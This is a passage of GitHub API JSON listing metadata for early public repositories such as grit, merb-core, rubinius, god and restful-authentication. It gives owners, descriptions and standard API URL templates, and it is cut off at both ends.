Ruby.","fork":false,"url":"https://api.github.com/repos/mojombo/grit","forks_url":"https://api.github.com/repos/mojombo/grit/forks","keys_url":"https://api.github.com/repos/mojombo/grit/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/grit/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/grit/teams","hooks_url":"https://api.github.com/repos/mojombo/grit/hooks","issue_events_url":"https://api.github.com/repos/mojombo/grit/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/grit/events","assignees_url":"https://api.github.com/repos/mojombo/grit/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/grit/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/grit/tags","blobs_url":"https://api.github.com/repos/mojombo/grit/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/grit/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/grit/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/grit/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/grit/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/grit/languages","stargazers_url":"https://api.github.com/repos/mojombo/grit/stargazers","contributors_url":"https://api.github.com/repos/mojombo/grit/contributors","subscribers_url":"https://api.github.com/repos/mojombo/grit/subscribers","subscription_url":"https://api.github.com/repos/mojombo/grit/subscription","commits_url":"https://api.github.com/repos/mojombo/grit/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/grit/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/grit/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/grit/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/grit/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/grit/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/grit/merges","archive_url":"https://api.github.com/repos/mojombo/grit/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/grit/downloads","issues_url":"https://api.github.com/repos/mojombo/grit/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/grit/pulls{/number}","milestones_url":"https://api.github.com/repos/mojombo/grit/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/grit/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/grit/labels{/name}"},{"id":26,"name":"merb-core","full_name":"wycats/merb-core","owner":{"login":"wycats","id":4,"avatar_url":"https://2.gravatar.com/avatar/428167a3ec72235ba971162924492609?d=https%3A%2F%2Fidenticons.github.com%2Fa87ff679a2f3e71d9181a67b7542122c.png","gravatar_id":"428167a3ec72235ba971162924492609","url":"https://api.github.com/users/wycats","html_url":"https://github.com/wycats","followers_url":"https://api.github.com/users/wycats/followers","following_url":"https://api.github.com/users/wycats/following{/other_user}","gists_url":"https://api.github.com/users/wycats/gists{/gist_id}","starred_url":"https://api.github.com/users/wycats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wycats/subscriptions","organizations_url":"https://api.github.com/users/wycats/orgs","repos_url":"https://api.github.com/users/wycats/repos","events_url":"https://api.github.com/users/wycats/events{/privacy}","received_events_url":"https://api.github.com/users/wycats/received_events","type":"User"},"private":false,"html_url":"https://github.com/wycats/merb-core","description":"Merb Core: All you need. None you don't.","fork":false,"url":"https://api.github.com/repos/wycats/merb-core","forks_url":"https://api.github.com/repos/wycats/merb-core/forks","keys_url":"https://api.github.com/repos/wycats/merb-core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wycats/merb-core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wycats/merb-core/teams","hooks_url":"https://api.github.com/repos/wycats/merb-core/hooks","issue_events_url":"https://api.github.com/repos/wycats/merb-core/issues/events{/number}","events_url":"https://api.github.com/repos/wycats/merb-core/events","assignees_url":"https://api.github.com/repos/wycats/merb-core/assignees{/user}","branches_url":"https://api.github.com/repos/wycats/merb-core/branches{/branch}","tags_url":"https://api.github.com/repos/wycats/merb-core/tags","blobs_url":"https://api.github.com/repos/wycats/merb-core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wycats/merb-core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wycats/merb-core/git/refs{/sha}","trees_url":"https://api.github.com/repos/wycats/merb-core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wycats/merb-core/statuses/{sha}","languages_url":"https://api.github.com/repos/wycats/merb-core/languages","stargazers_url":"https://api.github.com/repos/wycats/merb-core/stargazers","contributors_url":"https://api.github.com/repos/wycats/merb-core/contributors","subscribers_url":"https://api.github.com/repos/wycats/merb-core/subscribers","subscription_url":"https://api.github.com/repos/wycats/merb-core/subscription","commits_url":"https://api.github.com/repos/wycats/merb-core/commits{/sha}","git_commits_url":"https://api.github.com/repos/wycats/merb-core/git/commits{/sha}","comments_url":"https://api.github.com/repos/wycats/merb-core/comments{/number}","issue_comment_url":"https://api.github.com/repos/wycats/merb-core/issues/comments/{number}","contents_url":"https://api.github.com/repos/wycats/merb-core/contents/{+path}","compare_url":"https://api.github.com/repos/wycats/merb-core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wycats/merb-core/merges","archive_url":"https://api.github.com/repos/wycats/merb-core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wycats/merb-core/downloads","issues_url":"https://api.github.com/repos/wycats/merb-core/issues{/number}","pulls_url":"https://api.github.com/repos/wycats/merb-core/pulls{/number}","milestones_url":"https://api.github.com/repos/wycats/merb-core/milestones{/number}","notifications_url":"https://api.github.com/repos/wycats/merb-core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wycats/merb-core/labels{/name}"},{"id":27,"name":"rubinius","full_name":"rubinius/rubinius","owner":{"login":"rubinius","id":317747,"avatar_url":"https://0.gravatar.com/avatar/8a664b7c5ca834af3e7e49d3a6160082?d=https%3A%2F%2Fidenticons.github.com%2F8a2a02b12e404a00b49c0154892fd9c0.png","gravatar_id":"8a664b7c5ca834af3e7e49d3a6160082","url":"https://api.github.com/users/rubinius","html_url":"https://github.com/rubinius","followers_url":"https://api.github.com/users/rubinius/followers","following_url":"https://api.github.com/users/rubinius/following{/other_user}","gists_url":"https://api.github.com/users/rubinius/gists{/gist_id}","starred_url":"https://api.github.com/users/rubinius/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rubinius/subscriptions","organizations_url":"https://api.github.com/users/rubinius/orgs","repos_url":"https://api.github.com/users/rubinius/repos","events_url":"https://api.github.com/users/rubinius/events{/privacy}","received_events_url":"https://api.github.com/users/rubinius/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/rubinius/rubinius","description":"Rubinius, the Ruby Environment","fork":false,"url":"https://api.github.com/repos/rubinius/rubinius","forks_url":"https://api.github.com/repos/rubinius/rubinius/forks","keys_url":"https://api.github.com/repos/rubinius/rubinius/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rubinius/rubinius/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rubinius/rubinius/teams","hooks_url":"https://api.github.com/repos/rubinius/rubinius/hooks","issue_events_url":"https://api.github.com/repos/rubinius/rubinius/issues/events{/number}","events_url":"https://api.github.com/repos/rubinius/rubinius/events","assignees_url":"https://api.github.com/repos/rubinius/rubinius/assignees{/user}","branches_url":"https://api.github.com/repos/rubinius/rubinius/branches{/branch}","tags_url":"https://api.github.com/repos/rubinius/rubinius/tags","blobs_url":"https://api.github.com/repos/rubinius/rubinius/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rubinius/rubinius/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rubinius/rubinius/git/refs{/sha}","trees_url":"https://api.github.com/repos/rubinius/rubinius/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rubinius/rubinius/statuses/{sha}","languages_url":"https://api.github.com/repos/rubinius/rubinius/languages","stargazers_url":"https://api.github.com/repos/rubinius/rubinius/stargazers","contributors_url":"https://api.github.com/repos/rubinius/rubinius/contributors","subscribers_url":"https://api.github.com/repos/rubinius/rubinius/subscribers","subscription_url":"https://api.github.com/repos/rubinius/rubinius/subscription","commits_url":"https://api.github.com/repos/rubinius/rubinius/commits{/sha}","git_commits_url":"https://api.github.com/repos/rubinius/rubinius/git/commits{/sha}","comments_url":"https://api.github.com/repos/rubinius/rubinius/comments{/number}","issue_comment_url":"https://api.github.com/repos/rubinius/rubinius/issues/comments/{number}","contents_url":"https://api.github.com/repos/rubinius/rubinius/contents/{+path}","compare_url":"https://api.github.com/repos/rubinius/rubinius/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rubinius/rubinius/merges","archive_url":"https://api.github.com/repos/rubinius/rubinius/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rubinius/rubinius/downloads","issues_url":"https://api.github.com/repos/rubinius/rubinius/issues{/number}","pulls_url":"https://api.github.com/repos/rubinius/rubinius/pulls{/number}","milestones_url":"https://api.github.com/repos/rubinius/rubinius/milestones{/number}","notifications_url":"https://api.github.com/repos/rubinius/rubinius/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rubinius/rubinius/labels{/name}"},{"id":28,"name":"god","full_name":"mojombo/god","owner":{"login":"mojombo","id":1,"avatar_url":"https://1.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/god","description":"Ruby process monitor","fork":false,"url":"https://api.github.com/repos/mojombo/god","forks_url":"https://api.github.com/repos/mojombo/god/forks","keys_url":"https://api.github.com/repos/mojombo/god/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/god/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/god/teams","hooks_url":"https://api.github.com/repos/mojombo/god/hooks","issue_events_url":"https://api.github.com/repos/mojombo/god/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/god/events","assignees_url":"https://api.github.com/repos/mojombo/god/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/god/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/god/tags","blobs_url":"https://api.github.com/repos/mojombo/god/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/god/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/god/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/god/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/god/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/god/languages","stargazers_url":"https://api.github.com/repos/mojombo/god/stargazers","contributors_url":"https://api.github.com/repos/mojombo/god/contributors","subscribers_url":"https://api.github.com/repos/mojombo/god/subscribers","subscription_url":"https://api.github.com/repos/mojombo/god/subscription","commits_url":"https://api.github.com/repos/mojombo/god/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/god/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/god/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/god/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/god/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/god/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/god/merges","archive_url":"https://api.github.com/repos/mojombo/god/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/god/downloads","issues_url":"https://api.github.com/repos/mojombo/god/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/god/pulls{/number}","milestones_url":"https://api.github.com/repos/mojombo/god/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/god/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/god/labels{/name}"},{"id":29,"name":"jsawesome","full_name":"vanpelt/jsawesome","owner":{"login":"vanpelt","id":17,"avatar_url":"https://1.gravatar.com/avatar/1da36d4c1f34454de6c07855098675f6?d=https%3A%2F%2Fidenticons.github.com%2F70efdf2ec9b086079795c442636b55fb.png","gravatar_id":"1da36d4c1f34454de6c07855098675f6","url":"https://api.github.com/users/vanpelt","html_url":"https://github.com/vanpelt","followers_url":"https://api.github.com/users/vanpelt/followers","following_url":"https://api.github.com/users/vanpelt/following{/other_user}","gists_url":"https://api.github.com/users/vanpelt/gists{/gist_id}","starred_url":"https://api.github.com/users/vanpelt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanpelt/subscriptions","organizations_url":"https://api.github.com/users/vanpelt/orgs","repos_url":"https://api.github.com/users/vanpelt/repos","events_url":"https://api.github.com/users/vanpelt/events{/privacy}","received_events_url":"https://api.github.com/users/vanpelt/received_events","type":"User"},"private":false,"html_url":"https://github.com/vanpelt/jsawesome","description":"Awesome JSON","fork":false,"url":"https://api.github.com/repos/vanpelt/jsawesome","forks_url":"https://api.github.com/repos/vanpelt/jsawesome/forks","keys_url":"https://api.github.com/repos/vanpelt/jsawesome/keys{/key_id}","collaborators_url":"https://api.github.com/repos/vanpelt/jsawesome/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/vanpelt/jsawesome/teams","hooks_url":"https://api.github.com/repos/vanpelt/jsawesome/hooks","issue_events_url":"https://api.github.com/repos/vanpelt/jsawesome/issues/events{/number}","events_url":"https://api.github.com/repos/vanpelt/jsawesome/events","assignees_url":"https://api.github.com/repos/vanpelt/jsawesome/assignees{/user}","branches_url":"https://api.github.com/repos/vanpelt/jsawesome/branches{/branch}","tags_url":"https://api.github.com/repos/vanpelt/jsawesome/tags","blobs_url":"https://api.github.com/repos/vanpelt/jsawesome/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/vanpelt/jsawesome/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/vanpelt/jsawesome/git/refs{/sha}","trees_url":"https://api.github.com/repos/vanpelt/jsawesome/git/trees{/sha}","statuses_url":"https://api.github.com/repos/vanpelt/jsawesome/statuses/{sha}","languages_url":"https://api.github.com/repos/vanpelt/jsawesome/languages","stargazers_url":"https://api.github.com/repos/vanpelt/jsawesome/stargazers","contributors_url":"https://api.github.com/repos/vanpelt/jsawesome/contributors","subscribers_url":"https://api.github.com/repos/vanpelt/jsawesome/subscribers","subscription_url":"https://api.github.com/repos/vanpelt/jsawesome/subscription","commits_url":"https://api.github.com/repos/vanpelt/jsawesome/commits{/sha}","git_commits_url":"https://api.github.com/repos/vanpelt/jsawesome/git/commits{/sha}","comments_url":"https://api.github.com/repos/vanpelt/jsawesome/comments{/number}","issue_comment_url":"https://api.github.com/repos/vanpelt/jsawesome/issues/comments/{number}","contents_url":"https://api.github.com/repos/vanpelt/jsawesome/contents/{+path}","compare_url":"https://api.github.com/repos/vanpelt/jsawesome/compare/{base}...{head}","merges_url":"https://api.github.com/repos/vanpelt/jsawesome/merges","archive_url":"https://api.github.com/repos/vanpelt/jsawesome/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/vanpelt/jsawesome/downloads","issues_url":"https://api.github.com/repos/vanpelt/jsawesome/issues{/number}","pulls_url":"https://api.github.com/repos/vanpelt/jsawesome/pulls{/number}","milestones_url":"https://api.github.com/repos/vanpelt/jsawesome/milestones{/number}","notifications_url":"https://api.github.com/repos/vanpelt/jsawesome/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/vanpelt/jsawesome/labels{/name}"},{"id":31,"name":"jspec","full_name":"wycats/jspec","owner":{"login":"wycats","id":4,"avatar_url":"https://2.gravatar.com/avatar/428167a3ec72235ba971162924492609?d=https%3A%2F%2Fidenticons.github.com%2Fa87ff679a2f3e71d9181a67b7542122c.png","gravatar_id":"428167a3ec72235ba971162924492609","url":"https://api.github.com/users/wycats","html_url":"https://github.com/wycats","followers_url":"https://api.github.com/users/wycats/followers","following_url":"https://api.github.com/users/wycats/following{/other_user}","gists_url":"https://api.github.com/users/wycats/gists{/gist_id}","starred_url":"https://api.github.com/users/wycats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wycats/subscriptions","organizations_url":"https://api.github.com/users/wycats/orgs","repos_url":"https://api.github.com/users/wycats/repos","events_url":"https://api.github.com/users/wycats/events{/privacy}","received_events_url":"https://api.github.com/users/wycats/received_events","type":"User"},"private":false,"html_url":"https://github.com/wycats/jspec","description":"A JavaScript BDD Testing Library","fork":false,"url":"https://api.github.com/repos/wycats/jspec","forks_url":"https://api.github.com/repos/wycats/jspec/forks","keys_url":"https://api.github.com/repos/wycats/jspec/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wycats/jspec/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wycats/jspec/teams","hooks_url":"https://api.github.com/repos/wycats/jspec/hooks","issue_events_url":"https://api.github.com/repos/wycats/jspec/issues/events{/number}","events_url":"https://api.github.com/repos/wycats/jspec/events","assignees_url":"https://api.github.com/repos/wycats/jspec/assignees{/user}","branches_url":"https://api.github.com/repos/wycats/jspec/branches{/branch}","tags_url":"https://api.github.com/repos/wycats/jspec/tags","blobs_url":"https://api.github.com/repos/wycats/jspec/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wycats/jspec/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wycats/jspec/git/refs{/sha}","trees_url":"https://api.github.com/repos/wycats/jspec/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wycats/jspec/statuses/{sha}","languages_url":"https://api.github.com/repos/wycats/jspec/languages","stargazers_url":"https://api.github.com/repos/wycats/jspec/stargazers","contributors_url":"https://api.github.com/repos/wycats/jspec/contributors","subscribers_url":"https://api.github.com/repos/wycats/jspec/subscribers","subscription_url":"https://api.github.com/repos/wycats/jspec/subscription","commits_url":"https://api.github.com/repos/wycats/jspec/commits{/sha}","git_commits_url":"https://api.github.com/repos/wycats/jspec/git/commits{/sha}","comments_url":"https://api.github.com/repos/wycats/jspec/comments{/number}","issue_comment_url":"https://api.github.com/repos/wycats/jspec/issues/comments/{number}","contents_url":"https://api.github.com/repos/wycats/jspec/contents/{+path}","compare_url":"https://api.github.com/repos/wycats/jspec/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wycats/jspec/merges","archive_url":"https://api.github.com/repos/wycats/jspec/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wycats/jspec/downloads","issues_url":"https://api.github.com/repos/wycats/jspec/issues{/number}","pulls_url":"https://api.github.com/repos/wycats/jspec/pulls{/number}","milestones_url":"https://api.github.com/repos/wycats/jspec/milestones{/number}","notifications_url":"https://api.github.com/repos/wycats/jspec/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wycats/jspec/labels{/name}"},{"id":35,"name":"exception_logger","full_name":"defunkt/exception_logger","owner":{"login":"defunkt","id":2,"avatar_url":"https://2.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https%3A%2F%2Fidenticons.github.com%2Fc81e728d9d4c2f636f067f89cc14862c.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","html_url":"https://github.com/defunkt","followers_url":"https://api.github.com/users/defunkt/followers","following_url":"https://api.github.com/users/defunkt/following{/other_user}","gists_url":"https://api.github.com/users/defunkt/gists{/gist_id}","starred_url":"https://api.github.com/users/defunkt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/defunkt/subscriptions","organizations_url":"https://api.github.com/users/defunkt/orgs","repos_url":"https://api.github.com/users/defunkt/repos","events_url":"https://api.github.com/users/defunkt/events{/privacy}","received_events_url":"https://api.github.com/users/defunkt/received_events","type":"User"},"private":false,"html_url":"https://github.com/defunkt/exception_logger","description":"Unmaintained. Sorry.","fork":false,"url":"https://api.github.com/repos/defunkt/exception_logger","forks_url":"https://api.github.com/repos/defunkt/exception_logger/forks","keys_url":"https://api.github.com/repos/defunkt/exception_logger/keys{/key_id}","collaborators_url":"https://api.github.com/repos/defunkt/exception_logger/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/defunkt/exception_logger/teams","hooks_url":"https://api.github.com/repos/defunkt/exception_logger/hooks","issue_events_url":"https://api.github.com/repos/defunkt/exception_logger/issues/events{/number}","events_url":"https://api.github.com/repos/defunkt/exception_logger/events","assignees_url":"https://api.github.com/repos/defunkt/exception_logger/assignees{/user}","branches_url":"https://api.github.com/repos/defunkt/exception_logger/branches{/branch}","tags_url":"https://api.github.com/repos/defunkt/exception_logger/tags","blobs_url":"https://api.github.com/repos/defunkt/exception_logger/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/defunkt/exception_logger/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/exception_logger/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/exception_logger/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/exception_logger/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/exception_logger/languages","stargazers_url":"https://api.github.com/repos/defunkt/exception_logger/stargazers","contributors_url":"https://api.github.com/repos/defunkt/exception_logger/contributors","subscribers_url":"https://api.github.com/repos/defunkt/exception_logger/subscribers","subscription_url":"https://api.github.com/repos/defunkt/exception_logger/subscription","commits_url":"https://api.github.com/repos/defunkt/exception_logger/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/exception_logger/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/exception_logger/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/exception_logger/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/exception_logger/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/exception_logger/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/exception_logger/merges","archive_url":"https://api.github.com/repos/defunkt/exception_logger/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/exception_logger/downloads","issues_url":"https://api.github.com/repos/defunkt/exception_logger/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/exception_logger/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/exception_logger/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/exception_logger/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/exception_logger/labels{/name}"},{"id":36,"name":"ambition","full_name":"defunkt/ambition","owner":{"login":"defunkt","id":2,"avatar_url":"https://2.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https%3A%2F%2Fidenticons.github.com%2Fc81e728d9d4c2f636f067f89cc14862c.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","html_url":"https://github.com/defunkt","followers_url":"https://api.github.com/users/defunkt/followers","following_url":"https://api.github.com/users/defunkt/following{/other_user}","gists_url":"https://api.github.com/users/defunkt/gists{/gist_id}","starred_url":"https://api.github.com/users/defunkt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/defunkt/subscriptions","organizations_url":"https://api.github.com/users/defunkt/orgs","repos_url":"https://api.github.com/users/defunkt/repos","events_url":"https://api.github.com/users/defunkt/events{/privacy}","received_events_url":"https://api.github.com/users/defunkt/received_events","type":"User"},"private":false,"html_url":"https://github.com/defunkt/ambition","description":"include Enumerable — Unmaintained","fork":false,"url":"https://api.github.com/repos/defunkt/ambition","forks_url":"https://api.github.com/repos/defunkt/ambition/forks","keys_url":"https://api.github.com/repos/defunkt/ambition/keys{/key_id}","collaborators_url":"https://api.github.com/repos/defunkt/ambition/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/defunkt/ambition/teams","hooks_url":"https://api.github.com/repos/defunkt/ambition/hooks","issue_events_url":"https://api.github.com/repos/defunkt/ambition/issues/events{/number}","events_url":"https://api.github.com/repos/defunkt/ambition/events","assignees_url":"https://api.github.com/repos/defunkt/ambition/assignees{/user}","branches_url":"https://api.github.com/repos/defunkt/ambition/branches{/branch}","tags_url":"https://api.github.com/repos/defunkt/ambition/tags","blobs_url":"https://api.github.com/repos/defunkt/ambition/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/defunkt/ambition/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/ambition/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/ambition/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/ambition/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/ambition/languages","stargazers_url":"https://api.github.com/repos/defunkt/ambition/stargazers","contributors_url":"https://api.github.com/repos/defunkt/ambition/contributors","subscribers_url":"https://api.github.com/repos/defunkt/ambition/subscribers","subscription_url":"https://api.github.com/repos/defunkt/ambition/subscription","commits_url":"https://api.github.com/repos/defunkt/ambition/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/ambition/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/ambition/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/ambition/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/ambition/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/ambition/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/ambition/merges","archive_url":"https://api.github.com/repos/defunkt/ambition/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/ambition/downloads","issues_url":"https://api.github.com/repos/defunkt/ambition/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/ambition/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/ambition/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/ambition/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/ambition/labels{/name}"},{"id":42,"name":"restful-authentication","full_name":"technoweenie/restful-authentication","owner":{"login":"technoweenie","id":21,"avatar_url":"https://1.gravatar.com/avatar/821395fe70906c8290df7f18ac4ac6cf?d=https%3A%2F%2Fidenticons.github.com%2F3c59dc048e8850243be8079a5c74d079.png","gravatar_id":"821395fe70906c8290df7f18ac4ac6cf","url":"https://api.github.com/users/technoweenie","html_url":"https://github.com/technoweenie","followers_url":"https://api.github.com/users/technoweenie/followers","following_url":"https://api.github.com/users/technoweenie/following{/other_user}","gists_url":"https://api.github.com/users/technoweenie/gists{/gist_id}","starred_url":"https://api.github.com/users/technoweenie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/technoweenie/subscriptions","organizations_url":"https://api.github.com/users/technoweenie/orgs","repos_url":"https://api.github.com/users/technoweenie/repos","events_url":"https://api.github.com/users/technoweenie/events{/privacy}","received_events_url":"https://api.github.com/users/technoweenie/received_events","type":"User"},"private":false,"html_url":"https://github.com/technoweenie/restful-authentication","description":"Generates common user authentication code for Rails/Merb, with a full test/unit and rspec suite and optional Acts as State Machine support built-in.","fork":false,"url":"https://api.github.com/repos/technoweenie/restful-authentication","forks_url":"https://api.github.com/repos/technoweenie/restful-authentication/forks","keys_url":"https://api.github.com/repos/technoweenie/restful-authentication/keys{/key_id}","collaborators_url":"https://api.github.com/repos/technoweenie/restful-authentication/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/technoweenie/restful-authentication/teams","hooks_url":"https://api.github.com/repos/technoweenie/restful-authentication/hooks","issue_events_url":"https://api.github.com/repos/technoweenie/restful-authentication/issues/events{/number}","events_url":"https://api.github.com/repos/technoweenie/restful-authentication/events","assignees_url":"https://api.github.com/repos/technoweenie/restful-authentication/assignees{/user}","branches_url":"https://api.github.com/repos/technoweenie/restful-authentication/branches{/branch}","tags_url":"https://api.github.com/repos/technoweenie/restful-authentication/tags","blobs_url":"https://api.github.com/repos/technoweenie/restful-authentication/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/technoweenie/restful-authentication/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/technoweenie/restful-authentication/git/refs{/sha}","trees_url":"https://api.github.com/repos/technoweenie/restful-authentication/git/trees{/sha}","statuses_url":"https://api.github.com/repos/technoweenie/restful-authentication/statuses/{sha}","languages_url":"https://api.github.com/repos/technoweenie/restful-authentication/languages","stargazers_url":"https://api.github.com/repos/technoweenie/restful-authentication/stargazers","contributors_url":"https://api.github.com/repos/technoweenie/restful-authentication/contributors","subscribers_url":"https://api.github.com/repos/technoweenie/restful-authentication/subscribers","subscription_url":"https://api.github.com/repos/technoweenie/restful-authentication/subscription","commits_url":"https://api.github.com/repos/technoweenie/restful-authentication/commits{/sha}","git_commits_url":"https://api.github.com/repos/technoweenie/restful-authentication/git/commits{/sha}","comments_url":"https://api.github.com/repos/technoweenie/restful-authentication/comments{/number}","issue_comment_url":"https://api.github.com/repos/technoweenie/restful-authentication/issues/comments/{number}","contents_url":"https://api.github.com/repos/technoweenie/restful-authentication/contents/{+path}","compare_url":"https://api.github.com/repos/technoweenie/restful-authentication/compare/{base}...{head}","merges_url":"https://api.github.com/repos/technoweenie/restful-authentication/merges","archive_url":"https://api.github.com/repos/technoweenie/restful-authentication/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/technoweenie/restful-authentication/downloads","issues_url":"https://api.github.com/repos/technoweenie/restful-authentication/issues{/number}","pulls_url":"https://api.github.com/repos/technoweenie/restful-authentication/pulls{/number}","milestones_url":"https://api.github.com/repos/technoweenie/restful-authentication/milestones{/number}","notifications_url":"https://api.github.com/repos/technoweenie/restful-authentication/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/technoweenie/restful-authentication/labels{/name}"},{"id":43,"name":"attachment_fu","full_name":"technoweenie/attachment_fu","owner":{"login":"technoweenie","id":21,"